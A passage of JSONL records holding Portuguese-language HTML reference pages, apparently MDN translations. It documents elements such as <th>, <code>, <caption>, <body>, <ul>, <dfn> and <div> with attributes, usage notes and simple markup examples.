células.\n* `auto`\n\nO valor padrão quando este atributo não é especificado é `auto`.\n\n### Atributos depreciados\n\n`align`\n\nEste atributo especifica como o alinhamento horizontal do conteúdo da célula será tratado.\n\nPossíveis valores:\n\n* `left`: O conteúdo é alinhado a esquerda da célula.\n* `center`: O conteúdo é centralizado da célula.\n* `right`: O conteúdo é alinhado a direita da célula.\n* `justify` (somente com texto): O conteúdo é estendido dentro da célula para cobrir toda a sua largura.\n* `char` (somente com texto): O conteúdo está alinhado a um caractere dentro do elemento `<th>` com deslocamento mínimo. Esse caractere é definido pelos atributos `char` e `charoff`.\n\nO valor padrão quando não especificado é `left`.\n\n> \n> \\*\\*Note:\\*\\*Não use esse atributo, pois ele está obsoleto no padrão mais recente.- Para alcançar o mesmo efeito que os valores `left`, `center`, `right` ou `justify`, aplique a propriedade CSS `text-align` no elemento.\n> \n> \n> * Para alcançar o mesmo efeito que os valor `char`, atribue a `text-align` o mesmo valor que você usaria para `char`. Unimplemented no CSS3.\n> \n> \n> \n\n`axis`\n\nEste atributo contém uma lista de palavras separadas por espaço. Cada palavra é o `id` de um grupo de células às quais este cabeçalho se aplica.\n\n> \n> **Note:** Não use esse atributo, pois ele está obsoleto no padrão mais recente: use o atributo `scope`.\n> \n> \n> \n\n`bgcolor` \nNon-standard\n\nEsse atributo define a cor de fundo de cada célula na coluna. Ele consiste de 6 digitos hexadecimais definidos pelo sRGB com o prefixo '#. Nesse atributo pode ser usado dezesseis cores predefinidas:\n\n|  | `black` = \"#000000\" |  | `green` = \"#008000\" |\n| --- | --- | --- | --- |\n|  | `silver` = \"#C0C0C0\" |  | `lime` = \"#00FF00\" |\n|  | `gray` = \"#808080\" |  | `olive` = \"#808000\" |\n|  | `white` = \"#FFFFFF\" |  | `yellow` = \"#FFFF00\" |\n|  | `maroon` = \"#800000\" |  | `navy` = \"#000080\" |\n|  | `red` = \"#FF0000\" |  | `blue` = \"#0000FF\" |\n|  | `purple` = \"#800080\" |  | `teal` = \"#008080\" |\n|  | `fuchsia` = \"#FF00FF\" |  | `aqua` = \"#00FFFF\" |\n\n> \n> **Note:** Não use esse atributo como padrão pois não é implementado em algumas versões do Microsoft Internet Explorer: O elemento `<th>` deve ser estilizado usando CSS. Para criar um efeito semelhante, use a propriedade `background-color` do CSS.\n> \n> \n> \n\n`char`\n\nO conteúdo da célula está alinhado a um caractere. Os valores típicos incluem um ponto (.) para alinhar números ou valores monetários. Se `align` não está definido no `char`, o atributo é ignorado.\n\n> \n> **Note:** Não use esse atributo, pois ele está obsoleto no padrão mais recente. Para obter o mesmo efeito, você pode especificar o caractere como o primeiro valor da propriedade `text-align`, Unimplemented no CSS3.\n> \n> \n> \n\n`charoff`\n\nEste atributo é usado para mudar os dados da coluna para a direita do caractere especificado pelo atributo **char**. Seu valor especifica o comprimento desse deslocamento.\n\n> \n> \\*\\*Note:\\*\\*Não use esse atributo, pois ele está obsoleto no padrão mais recente.\n> \n> \n> \n\n`height` \nDeprecated\n\nEsse atributo é usado para definir uma altura recomendada da célula.\n\n> \n> \\*\\*Note:\\*\\*Não use esse atributo, pois ele está obsoleto no padrão mais recente: use a propriedade CSS `height`.\n> \n> \n> \n\n`valign`\n\nEsse atributo especifica como o texto é alinhado verticalmente na célula.\n\nPossíveis valores:\n\n* `baseline`: Posiciona o texto próximo à parte inferior da célula e o alinha ao roda pé. Se os caracteres não descerem abaixo da linha de base, o valor da linha de base alcançará o mesmo efeito que `bottom`.\n* `bottom`: Posiciona o texto próximo à parte inferior da célula.\n* `middle`: Centraliza o texto na célula.\n* `top`: Posiciona o texto próximo à parte superior da célula.\n\n> \n> **Note:** Não use esse atributo, pois ele está obsoleto no padrão mais recente: use a propriedade CSS `vertical-align`.\n> \n> \n> \n\n`width` \nDeprecated\n\nEste atributo é usado para definir uma largura de célula recomendada. Espaço adicional pode ser adicionado com as propriedades `cellspacing` (en-US) e `cellpadding` (en-US), e a largura do elemento `<col>` (en-US) pode criar largura extra. Mas, se a largura de uma coluna for muito estreita para mostrar uma célula específica corretamente, ela será ampliada quando exibida.\n\n> \n> **Note:** Não use esse atributo, pois ele está obsoleto no padrão mais recente: use a propriedade CSS `width`.\n> \n> \n> \n\nExemplos\n--------\n\nVeja `<table>` para mais elementos `<th>`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-th-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja mais\n---------\n\n* Outros elementos HTML relacionados: `<caption>`, `<col>` (en-US), `<colgroup>` (en-US), `<table>`, `<tbody>` (en-US), `<td>` (en-US), `<tfoot>`, `<thead>` (en-US), `<tr>` (en-US)."}
{"title":"<code>: O Elemento Inline Code - HTML: Linguagem de Marcação de Hipertexto","text":"<code>: O Elemento Inline Code\n==============================\n\nO **elemento** \\*\\*HTML `<code>` \\*\\*apresenta seu conteúdo estilizado de maneira a indicar que o texto é um pequeno fragmento de código. Por padrão, o conteúdo é exibido utilizando a fonte monoespaçada padrão do user agent's (en-US).\n\nExperimente\n-----------\n\n|  |  |\n| --- | --- |\n| Content categories | Flow content,\n phrasing content, palpable content.\n  |\n| Permitted content | Phrasing content. |\n| Tag omission | None, both the starting and ending tag are mandatory. |\n| Permitted parents | \n Any element that accepts\n phrasing content.\n  |\n| Permitted ARIA roles | Any |\n| DOM interface | `HTMLElement` (en-US) Up to Gecko 1.9.2 (Firefox 4)\n inclusive, Firefox implements the\n `HTMLSpanElement` interface for this element.\n  |\n\nAtributos\n---------\n\nEsse elemento inclui apenas os global attributes.\n\nExemplo\n-------\n\nUm parágrafo que inlcui `<code>`:\n\n\n```html\n<p>\n  A função <code>selectAll()</code> destaca todo o texto no campo de entrada\n  então o usuário pode, por exemplo, copiar ou deletar o texto.\n</p>\n```\n\n\nA sainda gerada por esse trecho HTML se parece com isso:\n\nNotas\n-----\n\nPara representar múltiplas linha de código, envolva o elemento `<code>` dentro do elemento `<pre>`. O elemento `<code>` por si só representa somente uma única senteça ou linha de código.\n\nUma regra CSS pode ser definida para o seletor `code` para sobrescrever a fonte padrão do navegador. Preferências definidas pelo usuário podem ter precedência sore o CSS especifciado.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-code-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<samp>` (en-US)\n* `<kbd>` (en-US)\n* `<command>` (deprecated)\n* `<var>`\n* `<pre>`"}
{"title":"<caption> - HTML: Linguagem de Marcação de Hipertexto","text":"<caption>\n=========\n\nO elemento HTML **`caption`** especifica a legenda (ou título) de uma tabela.\n\nExperimente\n-----------\n\n|  |  |\n| --- | --- |\n| Categoria de conteúdo (en-US) | Nenhuma. |\n| Conteúdo permitido | Flow content (en-US). |\n| Omissão de tag | \n A tag final pode ser omitida se o elemento não for seguido imediatamente por um\n espaço em branco ASCII ou um comentário.\n  |\n| Elementos pais permitidos | Um elemento `<table>`, como seu primeiro filho. |\n| Função ARIA implícita | Nenhuma função correspondente |\n| Permitted ARIA roles | No `role` permitted |\n| DOM interface | `HTMLTableCaptionElement` (en-US) |\n\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n### Atributos obsoletos\n\nOs seguintes atributos são obsoletos e não devem ser usados. Estão documentados abaixo apenas como referência ao atualizar o código, e interesse histórico.\n\n`align` \nDeprecated\n\nEsse atributo enumerado (en-US) indica como a legenda deve ser alinhada em relação à tabela. Ele pode ter um dos seguintes valores:\n\n`left`\n\nA legenda é exibida à esquerda da tabela.\n\n`top`\n\nA legenda é exibida acima da tabela.\n\n`right`\n\nA legenda é exibida à direita da tabela.\n\n`bottom`\n\nA legenda é exibida abaixo da tabela.\n\n\n**Aviso:** Não use este atributo já que ele foi depreciado: O elemento `<caption>` deve ser estilizado usando as propriedades CSS. Para dar um efeito similar ao atributo `align`, use as propriedades CSS `caption-side` (en-US) e `text-align`.\n\nNotas de uso\n------------\n\nSe utilizado, o elemento `<caption>` deve ser o primeiro filho de seu elemento `<table>` pai.\n\nQuando o elemento `<table>` que contém o `<caption>` é o único descendente de um elemento `<figure>`, você deve usar o `<figcaption>` elemento em vez de `<caption>`.\n\nUm `background-color` na tabela não incluirá a legenda. Adicione um `background-color` ao elemento `<caption>` também se você deseja que a mesma cor de fundo esteja por trás de ambos.\n\nExemplo\n-------\n\nEsse exemplo simples apresenta uma tabela que inclui uma legenda\n\n\n```html\n<table>\n  <caption>\n    Exemplo de Legenda\n  </caption>\n  <tr>\n    <th>Login</th>\n    <th>Email</th>\n  </tr>\n  <tr>\n    <td>usuario1</td>\n    <td>usuario1@dominio.com</td>\n  </tr>\n  <tr>\n    <td>usuario2</td>\n    <td>usuario2@dominio.com</td>\n  </tr>\n</table>\n```\n\n\n```\ncaption {\n  caption-side: top;\n}\ntable {\n  border-collapse: collapse;\n  border-spacing: 0px;\n}\ntable,\nth,\ntd {\n  border: 1px solid black;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-caption-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Propriedades CSS que podem ser especialmente úteis para estilizar o elemento `<caption>`:\n    + `text-align`, `caption-side` (en-US)."}
{"title":"<body> - HTML: Linguagem de Marcação de Hipertexto","text":"<body>\n======\n\nO **elemento** `<body>` do **HTML** representa o conteúdo de um documento HTML. è permitido apenas um `<body>` por documento.\n\n|  |  |\n| --- | --- |\n| Categorias | Seção raiz. |\n| Conteúdo permitido | Conteúdo de fluxo. |\n| Omissão de tag | \n A tag inicial pode ser omitida se a primeira coisa dentro do elemento\n não for um espaço, comentário, elemento\n `<script>` ou elemento\n `<style>`.\n\n\n A tag final pode ser omitida se o elemento body possuir conteúdo ou\n tem uma tag inicial e não é imediatamente seguida por um comentário.\n  |\n| Elementos pais permitidos | \n Deve ser o segundo elemento de um elemento\n `<html>`.\n  |\n| DOM interface | `HTMLBodyElement` (en-US)* O elemento `<body>` expõe a interface\n `HTMLBodyElement` (en-US).\n* Você pode acessar o elemento body através do atributo\n `document.body`.\n |\n\nAtributos\n---------\n\nEstes elementos incluem os atributos globais.\n\n`alink`\n\nCor do texto para hyperlinks quando selecionados. Esse método não está em conformidade, utilize a propriedade *`color` em conjunto com a pseudo-classe `:active`*\n\n`background`\n\nURI de uma imagem para usar como um papel de parede. Esse método não está em conformidade, utilize a propriedade *CSS `background`.*\n\n`bgcolor`\n\nCor de fundo do documento. Esse método não está em conformidade, utilize a propriedade *CSS `background-color`.*\n\n`bottommargin`\n\nThe margin of the bottom of the body. Esse método não está em conformidade, utilize a propriedade *CSS `margin-bottom`.*\n\n`leftmargin`\n\nThe margin of the left of the body. Esse método não está em conformidade, utilize a propriedade *CSS `margin-left` (en-US).*\n\n`link`\n\nCor de textos de links não visitados. Esse método não está em conformidade, utilize o *`color` em conjunto com a pseudo-classe `:link`*\n\n`onafterprint`\n\nFunção para chamar depois que o usuário solicitou a impressão do documento.\n\n`onbeforeprint`\n\nFunção para chamar quando o usuário solicita a impressão do documento.\n\n`onbeforeunload`\n\nFunção para chamar quando o documento está prestes a ser descarregado.\n\n`onblur`\n\nFunção para chamar quando o documento perde foco.\n\n`onerror`\n\nFunção para chamar quando o documento falha ao carregar corretamente.\n\n`onfocus`\n\nFunção para chamar quando o documento recebe foco.\n\n`onhashchange`\n\nFunction to call when the fragment identifier part (starting with the hash (`'#'`) character) of the document's current address has changed.\n\n`onlanguagechange` \nExperimental\n\nFunction to call when the preferred languages changed.\n\n`onload`\n\nFunção para chamar quando o documento terminar de carregar\n\n`onmessage`\n\nFunção para chamar quando o documento receber uma mensagem.\n\n`onoffline`\n\nFunção para chamar quando a conexão com a internet falha.\n\n`ononline`\n\nFunção para chamar quando a conexão com a internet é restaurada.\n\n`onpopstate`\n\nFunction to call when the user has navigated session history.\n\n`onredo`\n\nFunction to call when the user has moved forward in undo transaction history.\n\n`onresize`\n\nFunction to call when the document has been resized.\n\n`onstorage`\n\nFunction to call when the storage area has changed.\n\n`onundo`\n\nFunction to call when the user has moved backward in undo transaction history.\n\n`onunload`\n\nFunction to call when the document is going away.\n\n`rightmargin`\n\nThe margin of the right of the body. *This method is non-conforming, use CSS `margin-right` (en-US) property on the element instead.*\n\n`text`\n\nForeground color of text. *This method is non-conforming, use CSS `color` property on the element instead.*\n\n`topmargin`\n\nThe margin of the top of the body. *This method is non-conforming, use CSS `margin-top` property on the element instead.*\n\n`vlink`\n\nCor do texto para links já visitados. Esse método não está em conformidade, utilize a propriedade *CSS `color` em conjunto com a pseudo-classe `:visited`.*\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-body-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<html>`\n* `<head>`"}
{"title":"<map> - HTML: Linguagem de Marcação de Hipertexto","text":"<map>\n=====\n\nResumo\n------\n\nO **elemento HTML `<map>`** é usado com os elementos `<area>` para definir um mapa de imagem (a área clicável do link).\n\n* *Categorias de conteúdo (en-US)* Conteúdo de fluxo (en-US), conteúdo fraseado (en-US), conteúdo palpável.\n* *Conteúdo permitido* Qualquer elemento transparente (en-US).\n* *Omissão da marcação*None, both the starting and ending tag are mandatory.\n* *Elementos pai permitidos* Qualquer elemento que aceita conteúdo fraseado (en-US).\n* *Interface DOM* `HTMLMapElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n`name`\n\nO atributo name dá ao mapa de um nome, de modo que ela possa ser referenciada. O atributo deve estar presente e ter um valor não vazio, sem caracteres de espaço. O valor do atributo name não deve corresponder (independente da caixa) a um valor do atributo name de outro elemento no mesmo documento. Se o id de atributo também for especificado, ambos os atributos devem ter o mesmo valor.\n\nExemplos\n--------\n\n\n```html\n<map>\n  <area shape=\"circle\" coords=\"200,250,25\" href=\"another.htm\" />\n  <area shape=\"default\" />\n</map>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-map-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<a>`\n* `<area>`"}
{"title":"<ul> - HTML: Linguagem de Marcação de Hipertexto","text":"<ul>\n====\n\nO **elemento HTML`<ul>`** (ou *elemento* *HTML de Lista desordenada*) representa uma lista de itens sem ordem rígida, isto é, uma coleção de itens que não trazem uma ordenação numérica e as suas posições, nessa lista, são irrelevantes. Caracteristicamente, os itens em uma lista desordenada são exibidos com um marcador que pode ter várias formas, como um ponto, um círculo, ou um quadrado. O tipo de marcador não é definido na descrição HTML da página, mas na CSS associada, utilizando a propriedade `list-style-type` (en-US).\n\nNão há nenhuma limitação para a profundidade e a imbricação das listas definidas com os elementos `<ol>` e `<ul>`.\n\n> \n> **Note:** **Nota sobre a utilização:** Ambos os elementos `<ol>` e `<ul>` representam uma lista de itens. São diferentes porque, com o elemento `<ol>`, a ordenação tem significado. Como regra de ouro para determinar qual dos dois usar, tente mudar a posição dos itens na lista; caso a significação seja alterada, o elemento `<ol>` deve ser utilizado mas, se não houver mudança, você pode aplicar `<ul>`.\n> \n> \n> \n\nContexto de utilização\n----------------------\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo | Flutuantes |\n| Conteúdo permitido | zero ou mais`<li>`elementos, eventualmente combinados com`<ol>`e elementos`<ul>`. |\n| Omissão de etiqueta (*Tag*) | nenhuma, ambas as etiquetas - de início e de fim - são obrigatórias |\n| Elementos pai permitidos | qualquer elemento que receba conteúdo flutuante |\n| Interface DOM | `HTMLUListElement` (en-US) |\n\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n`compact`\nDeprecated\n\nEste atributo booleano sugere que a lista será processada em um modelo compacto. A interpretação deste atributo depende do perfil de navegação (*user agent*) e não funciona em todos os navegadores.\n\n> \n> **Note:** **Nota de utilização:** Não aplique este atributo, que foi preterido - o elemento `<ul>` deve ser definido utilizando-se a folha de estilos CSS. Para dar um efeito similar ao atributo compacto, a propriedade line-height (espaçamento), da CSS, pode ser utilizada com um valor de 80%.\n> \n> \n> \n\n`type`\nDeprecated\n\nUsados para estabelecer o tipo de marcador da lista. Os valores definidos durante a HTML3.2 e a versão de transição de HTML 4.0/4.01, são:\n\n* `círculo`,\n* `disco`,\n* e `quadrado`.\n\nUm quarto tipo de marcação está definido na interface *WebTV*, mas nem todos os navegadores o acolhem: `triângulo.`\n\nSe não estiver presente e se nenhuma propriedade CSS `list-style-type` (en-US) se aplicar ao elemento, o perfil de navegação decidirá qual tipo de marcador utilizar, dependendo do nível de aninhamento da lista.\n\n> \n> **Note:** **Nota de utilização:** Não use este atributo, pois está ultrapassado; em seu lugar, utilize a propriedade CSS `list-style-type` (en-US).\n> \n> \n> \n\nExemplos\n--------\n\n### Exemplo simples\n\n\n```html\n<ul>\n  <li>primeiro item</li>\n  <li>segundo item</li>\n  <li>terceiro item</li>\n</ul>\n```\n\n\nA HTML acima resulta em:\n\n* primeiro item\n* segundo item\n* terceiro item\n### Lista aninhada\n\n\n```html\n<ul>\n  <li>primeiro item</li>\n  <li>\n    segundo item\n    <!-- Observe que a tag de fechamento </li> não é colocada aqui! -->\n    <ul>\n      <li>segundo item primeiro subitem</li>\n      <li>\n        segundo item segundo subitem\n        <!-- O mesmo para a segunda lista não ordenada aninhada (Same for the second nested unordered list)! -->\n        <ul>\n          <li>segundo item segundo subitem primeiro sub-subitem</li>\n          <li>segundo item segundo subitem segundo sub-subitem</li>\n          <li>segundo item segundo subitem terceiro sub-subitem</li>\n        </ul>\n      </li>\n      <!-- A tag de fechamento </li>, que contém a terceira lista não ordenada (Closing </li> tag for the li that contains the third unordered list) -->\n      <li>segundo item terceiro subitem</li>\n    </ul>\n  </li>\n  <!-- Aqui entra a tag de fechamento </li> (Here is the closing </li> tag) -->\n  <li>terceiro item</li>\n</ul>\n```\n\n\nA saída HTML acima, é:\n\n* primeiro item\n* segundo item\n    + segundo item primeiro subitem\n    + segundo item segundo subitem\n        - segundo item segundo subitem primeiro sub-subitem\n        - segundo item segundo subitem segundo sub-subitem\n        - segundo item segundo subitem terceiro sub-subitem\n    + segundo item terceiro subitem\n* terceiro item\n### <ul> e <ol> aninhados\n\n\n```html\n<ul>\n  <li>primeiro item</li>\n  <li>\n    segundo item\n    <!-- Observe, a tag de fechamento </li> não é colocada aqui! (Look, the closing </li> tag is not placed here!) -->\n    <ol>\n      <li>segundo item primeiro subitem</li>\n      <li>segundo item segundo subitem</li>\n      <li>segundo item terceiro subitem</li>\n    </ol>\n  </li>\n  <!-- Aqui está a tag de fechamento </li> (Here is the closing </li> tag) -->\n  <li>terceiro item</li>\n</ul>\n```\n\n\nA saída HTML acima será:\n\n* primeiro item\n* segundo item\n    1. segundo item primeiro subitem\n    2. segundo item segundo subitem\n    3. segundo item terceiro subitem\n* terceiro item\nVeja também\n-----------\n\n* Outros elementos HTML relacionados à lista: `<ol>`, `<li>`, `<menu>` (en-US) e o obsoleto `<dir>`;\n* Propriedades CSS que podem ser especialmente úteis para determinar o modelo do elemento <ul>:\n    + a propriedade list-style, conveniente para escolher a maneira como os ordinais serão mostrados,\n    + CSS counters, eficientes para guiar listas complexas aninhadas,\n    + a propriedade line-height, válida para simular o atributo ultrapassado `compact`,\n    + a propriedade margin, proveitosa para controlar a indentação da lista."}
{"title":"<dir>:  O elemento obsoleto Directory - HTML: Linguagem de Marcação de Hipertexto","text":"<dir>: O elemento obsoleto Directory\n====================================\n\nO elemento de diretório HTML obsoleto (**`<dir>`**) é usado como um contêiner para um diretório de arquivos e/ou pastas, potencialmente com estilos e ícones aplicados pelo user agent (en-US). Não use este elemento obsoleto; em vez disso, você deve usar o `<ul>` elemento para listas, incluindo listas de arquivos.\n\n> \n> **Note:** Não use este elemento. Embora presente nas primeiras especificações do HTML, foi descontinuado no HTML 4 e, desde então, foi totalmente removido. Nenhum dos principais navegadores suporta esse elemento.\n> \n> \n> \n\nDOM interface\n-------------\n\nEste elemento implementa a interface `HTMLDirectoryElement`.\n\nAtributos\n---------\n\nComo todos os outros elementos HTML, este elemento suporta os global attributes (en-US).\n\n`compact`\n\nEste atributo booleano indica que a lista deve ser renderizada em um estilo compacto. A interpretação deste atributo depende do agente do usuário e não funciona em todos os navegadores.\n\n> \n> **Note:** Não use este atributo, pois ele foi descontinuado: o `<dir>` elemento deve ser estilizado usando CSS. Para dar um efeito semelhante ao alcançado com o atributo `compact`, a propriedade CSS `line-height` (en-US) pode ser usado com um valor de `80%`.\n> \n> \n> \n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outros relacionados a lista de elementos HTML: `<ol>`, `<ul>`, `<li>`, e `<menu>` (en-US);\n* Propriedades CSS que podem ser especialmente úteis para estilizar o elemento `<dir>` :\n    + A propriedade `list-style` (en-US), útil para escolher a maneira como o ordinal é exibido.\n    + CSS counters (en-US), útil para lidar com listas aninhadas complexas.\n    + A propriedade `line-height` (en-US), útil para simular o atributo obsoleto `compact`.\n    + A propriedade `margin`, útil para controlar o recuo da lista."}
{"title":"<dfn> - HTML: Linguagem de Marcação de Hipertexto","text":"<dfn>\n=====\n\nResumo\n------\n\nO elemento \\*\\*HTML `<dfn>` \\*\\*(ou *Elemento Definição* *HTML*) representa uma instância de definição de um termo.\n\n> \n> **Note:** **Notas de uso no** **HTML5:**- O elemento `<dfn>` marca o termo que será definido; a definição do termo deve ser data em torno de `<p>`, `<section>` ou uma lista de definições por grupo (usualmente um `<dt>`, `<dd>` pareado com o `<dt>`).\n> \n> \n> * O valor exato do termo a ser definido é determinado pelas seguintes regras:\n>     1. Se o elemento <dfn> tiver um atributo title, então o termo é o valor deste atributo.\n>     2. Senão, se contiver somente um elemento `<abbr>` com um atributo `title`, então o termo é o valor deste atributo.\n>     3. Caso contrário, o conteúdo do texto do elemento `<dfn>` é o termo a ser definido.\n> \n> \n> \n\n* *Categorias de conteúdo (en-US)* Conteúdo de fluxo (en-US), Conteúdo de fraseamento (en-US), conetúdo palpável.\n* *Conteúdo permitido* Conteúdo de fraseamento (en-US), mas um elemento `<dfn>` não deve ser um descendente.\n* *Omissão de tag* None, both the starting and ending tag are mandatory.\n* *Elementos pais permitidos* Qualquer elemento que aceite conteúdo de fraseamento (en-US).\n* *Interface DOM* `HTMLElement` (en-US)\nAtributos\n---------\n\nEsse elemento inclui os atributos globais (en-US).\n\nNo HTML5, o atributo **title** tem um significado especial, como mencionado acima.\n\nExemplos\n--------\n\nOs exemplos a seguir são válidos em HTML5.\n\n\n```html\n<!-- Define \"A Internet\" -->\n<p>\n  <dfn id=\"def-internet\">A Internet</dfn> é um sistema global de redes\n  interconectadas que usam o Internet Protocol Suite (TCP/IP) para servir\n  bilhões de usuários no mundo todo.\n</p>\n```\n\n\nPosteriormente no mesmo documento:\n\n\n```html\n<dl>\n  <!-- Define \"World-Wide Web\" a definição de referência para \"A Internet\" -->\n  <dt>\n    <dfn>\n      <abbr title=\"World-Wide Web\">WWW</abbr>\n    </dfn>\n  </dt>\n  <dd>\n    A World-Wide Web (WWW) é um sistema de documentos de hipertexto interligados\n    acessados pela <a href=\"#def-internet\">Internet</a>.\n  </dd>\n</dl>\n```\n\n### Resultado\n\n*A Internet* é um sistema global de redes interconectadas que usam o Internet Protocol Suite (TCP/IP) para servir bilhões de usuários no mundo todo.\n\n*WWW*\n\nA World-Wide Web (WWW) é um sistema de documentos de hipertexto interligados acessados pela Internet.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-dfn-element |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Elementos relacionados à lista de definições: `<dl>`, `<dt>`, `<dd>`\n* `<abbr>`"}
{"title":"<var> - HTML: Linguagem de Marcação de Hipertexto","text":"<var>\n=====\n\nResumo\n------\n\nO elemento HTML Variable (`<var>`) representa uma variável em uma expressão matemática ou um contexto de programação.\n\nContexto de utilização\n----------------------\n\n| Permitted content | Phrasing content |\n| --- | --- |\n| Tag omission | Both start and end tags are required |\n| Permitted parent elements | Any element that accepts phrasing content (en-US). |\n| Normative document | HTML, \"The `var` element\" |\n\nAtributos\n---------\n\nEste elemento somente inclui os global attributes (en-US).\n\nInterface DOM\n-------------\n\nEste elemento implementa a interface `HTMLElement` (en-US).\n\n> \n> **Note:** **Implementation note:** up to Gecko 1.9.2 inclusive, Firefox implements the HTMLSpanElement interface for this element.\n> \n> \n> \n\nPropriedades típicas padrão de estilo\n-------------------------------------\n\n\n```css\nvar {\n  font-style: italic;\n}\n```\n\nExemplo\n-------\n\n\n```html\n<p>A simple equation: <var>x</var> = <var>y</var> + 2</p>\n```\n\n\nA simple equation: *x* = *y* + 2"}
{"title":"article (artigo) - HTML: Linguagem de Marcação de Hipertexto","text":"article (artigo)\n================\n\nResumo\n------\n\nO *Elemento HTML Article* (<article>) representa uma composição independente em um documento, página, aplicação, ou site, ou que é destinado a ser distribuido de forma independente ou reutilizável, por exemplo, em sindicação. Este poderia ser o post de um fórum, um artigo de revista ou jornal, um post de um blog, um comentário enviado por um usuário, um gadget ou widget interativos, ou qualquer outra forma de conteúdo independente.\n\n> \n> **Note:** *Notas de uso:*\n> \n> \n> * Quando um elemento `<article>` está aninhado, o elemento interior representa um artigo relacionado com o elemento exterior. Por exemplo, os comentários do post de um blog podem ser elementos `<article>` aninhados em `<article>` representando o post do blog.\n> * Informações sobre o autor de um elemento `<article>` podem ser fornecidas através do elemento `<address>` ,mas ele não se aplica aos elementos `<article>` aninhados.\n> * A data e hora de publicação de um elemento `<article>` pode ser descrita usando o atributo `pubdate` de um elemento `<time>`.\n> \n> \n> \n\nContexto de uso\n---------------\n\n| Conteúdo permitido | Flow content |\n| --- | --- |\n| Omissão de tag | Nenhuma, tanto tag de início quanto de fim são obrigatórias |\n| Elementos pai permitidos | Qualquer elemento que aceita flow content. Note-se que um elemento `<article>` não pode ser descendente de um elemento `<address>`. |\n| Documento normativo | HTML5, section 4.4.4 |\n\nAtributos\n---------\n\nEste elemento não possui outros elementos se não os global attributes, comuns a todos os elementos.\n\nInterface DOM\n-------------\n\nEste elemento implementa a interface `HTMLElement` .\n\nExemplos\n--------\n\n\n```html\n<article>\n  <h4>Um artigo realmente impressionante</h4>\n  <p>Lotes de texto incrível.</p>\n</article>\n```\n\n### Resultado\n\n<article>\n\n#### Um artigo realmente impressionante\n\nLotes de texto incrível.\n\n</article>\n\n### Compatibilidade\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outros elementos de seção relacionados: `<body>`, `<nav>`, `<section>`, `<aside>`, `<h1>` (en-US), `<h2>` (en-US), `<h3>` (en-US), `<h4>` (en-US), `<h5>` (en-US), `<h6>` (en-US), `<hgroup>`, `<header>`, `<footer>`, `<address>`\n* Sections and outlines of an HTML5 document."}
{"title":"<div> - HTML: Linguagem de Marcação de Hipertexto","text":"<div>\n=====\n\nResumo\n------\n\nO **elemento de divisão** \\*\\*HTML `<div>` \\*\\*é um container genérico para conteúdo de fluxo, que de certa forma não representa nada. Ele pode ser utilizado para agrupar elementos para fins de estilos (usando **class** ou **id**), ou porque eles compartilham valores de atributos, como **lang**. Ele deve ser utilizado somente quando não tiver outro elemento de semântica (tal como `<article>` ou `<nav>`).\n\n* *Categoria de conteúdo* Flow content, palpable content.\n* *Conteúdo permitido* Flow content.\n* *Omissão de tag* Nenhuma, as tags de abertura e fechamento são obrigatórias. None, both the starting and ending tag are mandatory.\n* *Elementos pais permitidos* Qualquer elemento que aceite conteúdo de fluxo.\n* *Interface DOM* `HTMLDivElement`\nAtributos\n---------\n\nEsse elemento inclui atributos globais.\n\nNo HTML 5, o atributo **align** no **<div>** é obsoleto.\n\nExemplos\n--------\n\n\n```html\n<div>\n  <p>\n    Qualquer tipo de conteúdo aqui. Como &lt;p&gt;, &lt;table&gt;. Você dá o\n    nome!\n  </p>\n</div>\n```\n\n### Resultado\n\nQualquer tipo de conteúdo aqui. Como <p>, <table>. Você dá o nome!\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-div-element |\n\nCompatibilidade dos navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Semantic sectioning elements: `<section>`, `<article>`, `<nav>`, `<header>`, `<footer>`\n* `<span>` element for styling of phrasing content"}
